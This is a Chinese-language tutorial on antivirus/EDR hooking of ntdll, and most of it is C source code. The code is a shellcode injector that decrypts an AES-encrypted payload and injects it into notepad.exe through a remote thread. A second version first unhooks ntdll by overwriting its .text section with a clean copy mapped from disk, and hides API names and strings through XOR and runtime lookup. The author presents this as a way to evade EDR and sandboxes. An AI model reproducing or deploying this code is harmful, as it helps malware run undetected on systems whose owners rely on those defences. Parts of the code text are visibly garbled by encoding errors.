1.殺軟掛鉤的工作原理

一般的殺毒軟件會(huì)在我們進(jìn)程啟動(dòng)的時(shí)候注入DLL到進(jìn)程中,然后對(duì)系統(tǒng)函數(shù)進(jìn)行Hook(掛鉤).從而攔截我們進(jìn)程的執(zhí)行流程,當(dāng)然這個(gè)流程只針對(duì)于未被添加到白名單的程序.我們來看下效果圖.

這里我設(shè)置了白名單為apps目錄,在次目錄下不會(huì)被檢測(cè).

我們運(yùn)行一個(gè)系統(tǒng)自帶的軟件Notepad來看下效果.

首先X64dbg附加進(jìn)程

我們隨便搜索一個(gè)函數(shù)看看是否被HOOK

可以發(fā)現(xiàn)函數(shù)被jmp了,那么是不是我們的函數(shù)被HOOK了,如果不清楚我們?cè)谶\(yùn)行一個(gè)白名單里面的程序看下,或者看JMP后到那里就可以知道了,我們這里對(duì)比一下即可.

對(duì)比發(fā)現(xiàn)為在白名單里面的程序,被掛鉤了.

這里我們寫一個(gè)注入程序,看看是否還能注入到進(jìn)程中

#include
#include
#include
#include
#include
#include
#include
#pragmacomment (lib, "crypt32.lib")
#pragmacomment (lib, "advapi32")

unsignedcharpayload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8};
unsignedcharkey[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84};

unsignedintpayload_len = sizeof(payload);

intAESDecrypt(char* payload, unsignedintpayload_len, char* key, size_tkeylen){
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if(!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) {
return-1;
}
if(!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)) {
return-1;
}
if(!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)) {
return-1;
}
if(!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0, &hKey)) {
return-1;
}

if(!CryptDecrypt(hKey, (HCRYPTHASH)NULL, 0, 0, (BYTE*)payload, (DWORD*)&payload_len)) {
return-1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return0;
}


intFindTarget(constchar* procname){

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
intpid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if(INVALID_HANDLE_VALUE == hProcSnap) return0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if(!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return0;
}

while(Process32Next(hProcSnap, &pe32)) {
if(lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

returnpid;
}

intInject(HANDLE hProc, unsignedchar* payload, unsignedintpayload_len){

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;

AESDecrypt((char*)payload, payload_len, (char*)key, sizeof(key));

pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
WriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T*)NULL);

hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteCode, NULL, 0, NULL);
if(hThread != NULL) {
WaitForSingleObject(hThread, 500);
CloseHandle(hThread);
return0;
}

return-1;
}


intmain(void){

intpid = 0;
HANDLE hProc = NULL;

pid = FindTarget("notepad.exe");

if(pid) {
printf("Notepad.exe PID = %d
", pid);

hProc = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD)pid);

if(hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return0;
}

首先我們先在白名單下運(yùn)行一下看看.

發(fā)現(xiàn)是可以直接注入的,這很正常,因?yàn)闅④洸粩r截我們的任何行為.

那么我們放到其他地方來運(yùn)行下看看效果.

可以發(fā)現(xiàn)我們的程序直接被殺掉了,注入的進(jìn)程也被關(guān)閉了.

2.如何繞過EDR掛鉤檢測(cè)

#include
#include
#include
#include
#include
#include
#include
#pragmacomment (lib, "crypt32.lib")
#pragmacomment (lib, "advapi32")

unsignedcharpayload[] = { 0x23, 0xe5, 0x84, 0x36, 0xce, 0x23, 0x3b, 0xe7, 0x55, 0x66, 0x8, 0x50, 0xf3, 0x44, 0xc2, 0xe8, 0x90, 0xf0, 0x8, 0x60, 0x2c, 0x2a, 0xcc, 0x7c, 0xf1, 0x6a, 0xa5, 0x48, 0x10, 0x57, 0x10, 0x7e, 0x10, 0x24, 0x5, 0x90, 0x40, 0x14, 0x7d, 0xd3, 0xba, 0x4e, 0x7f, 0x5, 0xb7, 0x17, 0xa3, 0x4, 0x91, 0x5, 0x97, 0xd7, 0xcb, 0xa2, 0x34, 0x7c, 0x90, 0xc9, 0x4f, 0x65, 0x9d, 0x18, 0x29, 0x15, 0xd8, 0xf9, 0x1d, 0xed, 0x96, 0xc4, 0x1f, 0xee, 0x2c, 0x80, 0xc8, 0x15, 0x4b, 0x68, 0x46, 0xa0, 0xe8, 0xc0, 0xb8, 0x5f, 0x5e, 0xd5, 0x5d, 0x7d, 0xd2, 0x52, 0x9b, 0x20, 0x76, 0xe0, 0xe0, 0x52, 0x23, 0xdd, 0x1a, 0x39, 0x5b, 0x66, 0x8c, 0x26, 0x9e, 0xef, 0xf, 0xfd, 0x26, 0x32, 0x30, 0xa0, 0xf2, 0x8c, 0x2f, 0xa5, 0x9, 0x2, 0x1c, 0xfe, 0x4a, 0xe8, 0x81, 0xae, 0x27, 0xcf, 0x2, 0xaf, 0x18, 0x54, 0x3c, 0x97, 0x35, 0xfe, 0xaf, 0x79, 0x35, 0xfa, 0x99, 0x3c, 0xca, 0x18, 0x8d, 0xa1, 0xac, 0x2e, 0x1e, 0x78, 0xb6, 0x4, 0x79, 0x5e, 0xa7, 0x6d, 0x7f, 0x6e, 0xa3, 0x34, 0x8b, 0x68, 0x6d, 0x2a, 0x26, 0x49, 0x1e, 0xda, 0x5e, 0xe4, 0x77, 0x29, 0x6e, 0x15, 0x9, 0x69, 0x8b, 0x8d, 0xbd, 0x42, 0xb6, 0xd9, 0xb0, 0x90, 0xd8, 0xa1, 0xb9, 0x37, 0x80, 0x8c, 0x5d, 0xaf, 0x98, 0x11, 0xef, 0xe1, 0xcf, 0xec, 0xe7, 0xc5, 0x58, 0x73, 0xf, 0xce, 0x1e, 0x27, 0x9e, 0xc0, 0x8a, 0x36, 0xd5, 0x6b, 0x9d, 0x52, 0xe, 0x68, 0x30, 0x7c, 0x45, 0x7c, 0xb3, 0xc1, 0x3f, 0x88, 0xdc, 0x78, 0x2, 0xe6, 0xbf, 0x45, 0x2d, 0x56, 0x76, 0x15, 0xc8, 0x4c, 0xe2, 0xcd, 0xa4, 0x46, 0x38, 0x6b, 0x41, 0x2b, 0xdf, 0x24, 0x2c, 0xf1, 0x82, 0x78, 0xd1, 0xc4, 0x83, 0x7f, 0x33, 0xb5, 0x8c, 0xf7, 0xac, 0x30, 0x14, 0x0, 0x6f, 0xba, 0xf7, 0x13, 0x51, 0x6a, 0x17, 0x1c, 0xf7, 0xcd, 0x43, 0x79, 0xc2, 0x57, 0xa0, 0x9c, 0x7b, 0x12, 0xce, 0x45, 0x41, 0x4e, 0xb7, 0x6b, 0xbd, 0x22, 0xc, 0xfb, 0x88, 0x2a, 0x4c, 0x2, 0x84, 0xf4, 0xca, 0x26, 0x62, 0x48, 0x6e, 0x9b, 0x3b, 0x85, 0x22, 0xff, 0xf0, 0x4f, 0x55, 0x7b, 0xc3, 0xf4, 0x9d, 0x2d, 0xe8, 0xb6, 0x44, 0x4a, 0x23, 0x2d, 0xf9, 0xe1, 0x6, 0x1c, 0x74, 0x23, 0x6, 0xdb, 0x3c, 0x3c, 0xa6, 0xce, 0xcf, 0x38, 0xae, 0x87, 0xd1, 0x8};
unsignedcharkey[] = { 0xc0, 0xa6, 0x8b, 0x1b, 0x59, 0x92, 0xcf, 0x6b, 0xef, 0x96, 0xe7, 0xd7, 0x33, 0x65, 0xda, 0x84};

unsignedintpayload_len = sizeof(payload);

typedefBOOL(WINAPI * VirtualProtect_t)(LPVOID, SIZE_T, DWORD, PDWORD);
typedefHANDLE(WINAPI * CreateFileMappingA_t)(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCSTR);
typedefLPVOID(WINAPI * MapViewOfFile_t)(HANDLE, DWORD, DWORD, DWORD, SIZE_T);
typedefBOOL(WINAPI * UnmapViewOfFile_t)(LPCVOID);

unsignedcharsNtdll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', 0x0};
unsignedcharsKernel32[] = { 'k','e','r','n','e','l','3','2','.','d','l','l', 0x0};

intAESDecrypt(char* payload, unsignedintpayload_len, char* key, size_tkeylen){
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if(!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return-1;
}
if(!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return-1;
}
if(!CryptHashData(hHash, (BYTE*) key, (DWORD) keylen, 0)){
return-1; 
}
if(!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return-1;
}

if(!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, (BYTE *) payload, (DWORD *) &payload_len)){
return-1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return0;
}


voidXORcrypt(charstr2xor[], size_tlen, charkey){
inti;

for(i = 0; i < len; i++) {
????????str2xor[i] = (BYTE)str2xor[i] ^ key;
????}
}



int?FindTarget(const?char?*procname)?{

????????HANDLE hProcSnap;
????????PROCESSENTRY32 pe32;
????????int?pid = 0;
????????????????
????????hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
????????if?(INVALID_HANDLE_VALUE == hProcSnap) return?0;
????????????????
????????pe32.dwSize = sizeof(PROCESSENTRY32); 
????????????????
????????if?(!Process32First(hProcSnap, &pe32)) {
????????????????CloseHandle(hProcSnap);
????????????????return?0;
????????}
????????????????
????????while?(Process32Next(hProcSnap, &pe32)) {
????????????????if?(lstrcmpiA(procname, pe32.szExeFile) == 0) {
????????????????????????pid = pe32.th32ProcessID;
????????????????????????break;
????????????????}
????????}
????????????????
????????CloseHandle(hProcSnap);
????????????????
????????return?pid;
}


int?Inject(HANDLE hProc, unsigned?char?* payload, unsigned?int?payload_len)?{

??LPVOID pRemoteCode = NULL;
??HANDLE hThread = NULL;

??AESDecrypt((char?*) payload, payload_len, (char?*) key, sizeof(key));
??
??pRemoteCode = VirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
??WriteProcessMemory(hProc, pRemoteCode, (PVOID) payload, (SIZE_T) payload_len, (SIZE_T *) NULL);
??
??hThread = CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE) pRemoteCode, NULL, 0, NULL);
??if?(hThread != NULL) {
??????WaitForSingleObject(hThread, 500);
??????CloseHandle(hThread);
??????return?0;
??}
??return?-1;
}


static?int?UnhookNtdll(const?HMODULE hNtdll, const?LPVOID pMapping)?{
??DWORD oldprotect = 0;
??PIMAGE_DOS_HEADER pImgDOSHead = (PIMAGE_DOS_HEADER) pMapping;
??PIMAGE_NT_HEADERS pImgNTHead = (PIMAGE_NT_HEADERS)((DWORD_PTR) pMapping + pImgDOSHead->e_lfanew);
inti;

unsignedcharsVirtualProtect[] = { 'V','i','r','t','u','a','l','P','r','o','t','e','c','t', 0x0};

VirtualProtect_t VirtualProtect_p = (VirtualProtect_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sVirtualProtect);

for(i = 0; i < pImgNTHead->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER pImgSectionHead = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(pImgNTHead) + 
((DWORD_PTR) IMAGE_SIZEOF_SECTION_HEADER * i));

if(!strcmp((char*) pImgSectionHead->Name, ".text")) {
VirtualProtect_p((LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldprotect);
if(!oldprotect) {
return-1;
}
memcpy( (LPVOID)((DWORD_PTR) hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
(LPVOID)((DWORD_PTR) pMapping + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize);

VirtualProtect_p((LPVOID)((DWORD_PTR)hNtdll + (DWORD_PTR) pImgSectionHead->VirtualAddress),
pImgSectionHead->Misc.VirtualSize,
oldprotect,
&oldprotect);
if(!oldprotect) {
return-1;
}
return0;
}
}

return-1;
}




intmain(void){

intpid = 0;
HANDLE hProc = NULL;

unsignedcharsNtdllPath[] = { 0x59, 0x0, 0x66, 0x4d, 0x53, 0x54, 0x5e, 0x55, 0x4d, 0x49, 0x66, 0x49, 0x43, 0x49, 0x4e, 0x5f, 0x57, 0x9, 0x8, 0x66, 0x54, 0x4e, 0x5e, 0x56, 0x56, 0x14, 0x5e, 0x56, 0x56, 0x3a};

unsignedcharsCreateFileMappingA[] = { 'C','r','e','a','t','e','F','i','l','e','M','a','p','p','i','n','g','A', 0x0};
unsignedcharsMapViewOfFile[] = { 'M','a','p','V','i','e','w','O','f','F','i','l','e',0x0};
unsignedcharsUnmapViewOfFile[] = { 'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e', 0x0};

unsignedintsNtdllPath_len = sizeof(sNtdllPath);
unsignedintsNtdll_len = sizeof(sNtdll);
intret = 0;
HANDLE hFile;
HANDLE hFileMapping;
LPVOID pMapping;

CreateFileMappingA_t CreateFileMappingA_p = (CreateFileMappingA_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sCreateFileMappingA);
MapViewOfFile_t MapViewOfFile_p = (MapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sMapViewOfFile);
UnmapViewOfFile_t UnmapViewOfFile_p = (UnmapViewOfFile_t) GetProcAddress(GetModuleHandle((LPCSTR) sKernel32), (LPCSTR) sUnmapViewOfFile);

XORcrypt((char*) sNtdllPath, sNtdllPath_len, sNtdllPath[sNtdllPath_len - 1]);
hFile = CreateFile((LPCSTR) sNtdllPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if( hFile == INVALID_HANDLE_VALUE ) {
return-1;
}

hFileMapping = CreateFileMappingA_p(hFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
if(! hFileMapping) {
CloseHandle(hFile);
return-1;
}

pMapping = MapViewOfFile_p(hFileMapping, FILE_MAP_READ, 0, 0, 0);
if(!pMapping) {
CloseHandle(hFileMapping);
CloseHandle(hFile);
return-1;
}

printf("Check 1!
"); getchar(); 

ret = UnhookNtdll(GetModuleHandle((LPCSTR) sNtdll), pMapping);

printf("Check 2!
"); getchar(); 

UnmapViewOfFile_p(pMapping);
CloseHandle(hFileMapping);
CloseHandle(hFile);

pid = FindTarget("notepad.exe");

if(pid) {
printf("Notepad.exe PID = %d
", pid);

hProc = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 
PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
FALSE, (DWORD) pid);

if(hProc != NULL) {
Inject(hProc, payload, payload_len);
CloseHandle(hProc);
}
}
return0;
}

這段代碼是加載一份新的NTDLL.DLL來恢復(fù)原本已經(jīng)被破壞的NTDLL.DLL.

整個(gè)過程就是我們首先加載一份新的NTDLL.DLL保存起來,然后將原本的代碼段屬性置成讀寫可執(zhí)行的,在將我們內(nèi)存加載的Text段進(jìn)行替換到原來的Text段,這樣原本HOOK的地方就被我們替換過去了,達(dá)到了脫鉤的效果,我們?nèi)タ聪逻\(yùn)行效果.

我們拖進(jìn)X64DBG 看下效果吧.

目前還是被HOOK的狀態(tài),我們回車一下后x64dbg中右鍵分析這個(gè)函數(shù).

發(fā)現(xiàn)函數(shù)已經(jīng)被還原了.

3.脫鉤后注入ShellCode到進(jìn)程中

這樣就簡單的繞過了EDR的掛鉤檢測(cè),部分沙箱這種技術(shù)同樣可以繞過.

審核編輯：劉清